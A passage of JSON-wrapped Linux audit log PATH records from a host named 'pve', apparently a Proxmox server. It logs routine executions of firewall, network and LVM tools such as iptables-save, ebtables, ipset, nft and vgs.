nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125453,"@rawstring":"node=pve type=PATH msg=audit(1781964125.453:59691): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125449,"@rawstring":"node=pve type=PATH msg=audit(1781964125.449:59690): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125449,"@rawstring":"node=pve type=PATH msg=audit(1781964125.449:59690): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125444,"@rawstring":"node=pve type=PATH msg=audit(1781964125.444:59689): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125444,"@rawstring":"node=pve type=PATH msg=audit(1781964125.444:59689): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125442,"@rawstring":"node=pve type=PATH msg=audit(1781964125.442:59688): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125442,"@rawstring":"node=pve type=PATH msg=audit(1781964125.442:59688): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125442,"@rawstring":"node=pve type=PATH msg=audit(1781964125.442:59687): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125437,"@rawstring":"node=pve type=PATH msg=audit(1781964125.437:59686): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125437,"@rawstring":"node=pve type=PATH msg=audit(1781964125.437:59686): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125437,"@rawstring":"node=pve type=PATH msg=audit(1781964125.437:59686): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125431,"@rawstring":"node=pve type=PATH msg=audit(1781964125.431:59685): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125431,"@rawstring":"node=pve type=PATH msg=audit(1781964125.431:59685): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125424,"@rawstring":"node=pve type=PATH msg=audit(1781964125.424:59684): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125424,"@rawstring":"node=pve type=PATH msg=audit(1781964125.424:59684): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125419,"@rawstring":"node=pve type=PATH msg=audit(1781964125.419:59683): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125419,"@rawstring":"node=pve type=PATH msg=audit(1781964125.419:59683): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125413,"@rawstring":"node=pve type=PATH msg=audit(1781964125.413:59682): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125413,"@rawstring":"node=pve type=PATH msg=audit(1781964125.413:59682): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125407,"@rawstring":"node=pve type=PATH msg=audit(1781964125.407:59681): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125407,"@rawstring":"node=pve type=PATH msg=audit(1781964125.407:59681): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964124223,"@rawstring":"node=pve type=PATH msg=audit(1781964124.223:59680): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964124223,"@rawstring":"node=pve type=PATH msg=audit(1781964124.223:59680): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964124188,"@rawstring":"node=pve type=PATH msg=audit(1781964124.188:59679): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964124188,"@rawstring":"node=pve type=PATH msg=audit(1781964124.188:59679): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964123011,"@rawstring":"node=pve type=PATH msg=audit(1781964123.011:59678): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964123011,"@rawstring":"node=pve type=PATH msg=audit(1781964123.011:59678): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964123011,"@rawstring":"node=pve type=PATH msg=audit(1781964123.011:59677): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964123011,"@rawstring":"node=pve type=PATH msg=audit(1781964123.011:59676): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964122999,"@rawstring":"node=pve type=PATH msg=audit(1781964122.999:59675): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964122999,"@rawstring":"node=pve type=PATH msg=audit(1781964122.999:59675): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964122999,"@rawstring":"node=pve type=PATH msg=audit(1781964122.999:59674): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964122999,"@rawstring":"node=pve type=PATH msg=audit(1781964122.999:59673): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964117990,"@rawstring":"node=pve type=PATH msg=audit(1781964117.990:59672): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964117990,"@rawstring":"node=pve type=PATH msg=audit(1781964117.990:59672): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964117990,"@rawstring":"node=pve type=PATH msg=audit(1781964117.990:59671): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964117990,"@rawstring":"node=pve type=PATH msg=audit(1781964117.990:59670): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964117981,"@rawstring":"node=pve type=PATH msg=audit(1781964117.981:59669): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964117981,"@rawstring":"node=pve type=PATH msg=audit(1781964117.981:59669): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964117981,"@rawstring":"node=pve type=PATH msg=audit(1781964117.981:59668): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964117981,"@rawstring":"node=pve type=PATH msg=audit(1781964117.981:59667): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115395,"@rawstring":"node=pve type=PATH msg=audit(1781964115.395:59666): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115395,"@rawstring":"node=pve type=PATH msg=audit(1781964115.395:59666): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115393,"@rawstring":"node=pve type=PATH msg=audit(1781964115.393:59665): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115393,"@rawstring":"node=pve type=PATH msg=audit(1781964115.393:59665): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115392,"@rawstring":"node=pve type=PATH msg=audit(1781964115.392:59664): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115392,"@rawstring":"node=pve type=PATH msg=audit(1781964115.392:59664): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115392,"@rawstring":"node=pve type=PATH msg=audit(1781964115.392:59663): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115388,"@rawstring":"node=pve type=PATH msg=audit(1781964115.388:59662): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115388,"@rawstring":"node=pve type=PATH msg=audit(1781964115.388:59662): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115388,"@rawstring":"node=pve type=PATH msg=audit(1781964115.388:59662): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115381,"@rawstring":"node=pve type=PATH msg=audit(1781964115.381:59661): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115381,"@rawstring":"node=pve type=PATH msg=audit(1781964115.381:59661): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115375,"@rawstring":"node=pve type=PATH msg=audit(1781964115.375:59660): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115375,"@rawstring":"node=pve type=PATH msg=audit(1781964115.375:59660): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115369,"@rawstring":"node=pve type=PATH msg=audit(1781964115.369:59659): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115369,"@rawstring":"node=pve type=PATH msg=audit(1781964115.369:59659): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115362,"@rawstring":"node=pve type=PATH msg=audit(1781964115.362:59658): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115362,"@rawstring":"node=pve type=PATH msg=audit(1781964115.362:59658): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115357,"@rawstring":"node=pve type=PATH msg=audit(1781964115.357:59656): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115357,"@rawstring":"node=pve type=PATH msg=audit(1781964115.357:59656): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115351,"@rawstring":"node=pve type=PATH msg=audit(1781964115.351:59655): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115351,"@rawstring":"node=pve type=PATH msg=audit(1781964115.351:59655): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115346,"@rawstring":"node=pve type=PATH msg=audit(1781964115.346:59654): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115346,"@rawstring":"node=pve type=PATH msg=audit(1781964115.346:59654): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115341,"@rawstring":"node=pve type=PATH msg=audit(1781964115.341:59653): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115341,"@rawstring":"node=pve type=PATH msg=audit(1781964115.341:59653): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115335,"@rawstring":"node=pve type=PATH msg=audit(1781964115.335:59652): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115335,"@rawstring":"node=pve type=PATH msg=audit(1781964115.335:59652): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115330,"@rawstring":"node=pve type=PATH msg=audit(1781964115.330:59651): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115330,"@rawstring":"node=pve type=PATH msg=audit(1781964115.330:59651): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115323,"@rawstring":"node=pve type=PATH msg=audit(1781964115.323:59650): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115323,"@rawstring":"node=pve type=PATH msg=audit(1781964115.323:59650): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115316,"@rawstring":"node=pve type=PATH msg=audit(1781964115.316:59649): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115316,"@rawstring":"node=pve type=PATH msg=audit(1781964115.316:59649): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115312,"@rawstring":"node=pve type=PATH msg=audit(1781964115.312:59648): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115312,"@rawstring":"node=pve type=PATH msg=audit(1781964115.312:59648): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115310,"@rawstring":"node=pve type=PATH msg=audit(1781964115.310:59647): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115310,"@rawstring":"node=pve type=PATH msg=audit(1781964115.310:59647): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115308,"@rawstring":"node=pve type=PATH msg=audit(1781964115.308:59646): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115308,"@rawstring":"node=pve type=PATH msg=audit(1781964115.308:59646): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115307,"@rawstring":"node=pve type=PATH msg=audit(1781964115.307:59645): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115303,"@rawstring":"node=pve type=PATH msg=audit(1781964115.303:59644): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115303,"@rawstring":"node=pve type=PATH msg=audit(1781964115.303:59644): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115303,"@rawstring":"node=pve type=PATH msg=audit(1781964115.303:59644): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115297,"@rawstring":"node=pve type=PATH msg=audit(1781964115.297:59643): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115297,"@rawstring":"node=pve type=PATH msg=audit(1781964115.297:59643): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115289,"@rawstring":"node=pve type=PATH msg=audit(1781964115.289:59642): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115289,"@rawstring":"node=pve type=PATH msg=audit(1781964115.289:59642): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115283,"@rawstring":"node=pve type=PATH msg=audit(1781964115.283:59641): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115283,"@rawstring":"node=pve type=PATH msg=audit(1781964115.283:59641): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115278,"@rawstring":"node=pve type=PATH msg=audit(1781964115.278:59640): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115278,"@rawstring":"node=pve type=PATH msg=audit(1781964115.278:59640): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115271,"@rawstring":"node=pve type=PATH msg=audit(1781964115.271:59639): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115271,"@rawstring":"node=pve type=PATH msg=audit(1781964115.271:59639): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 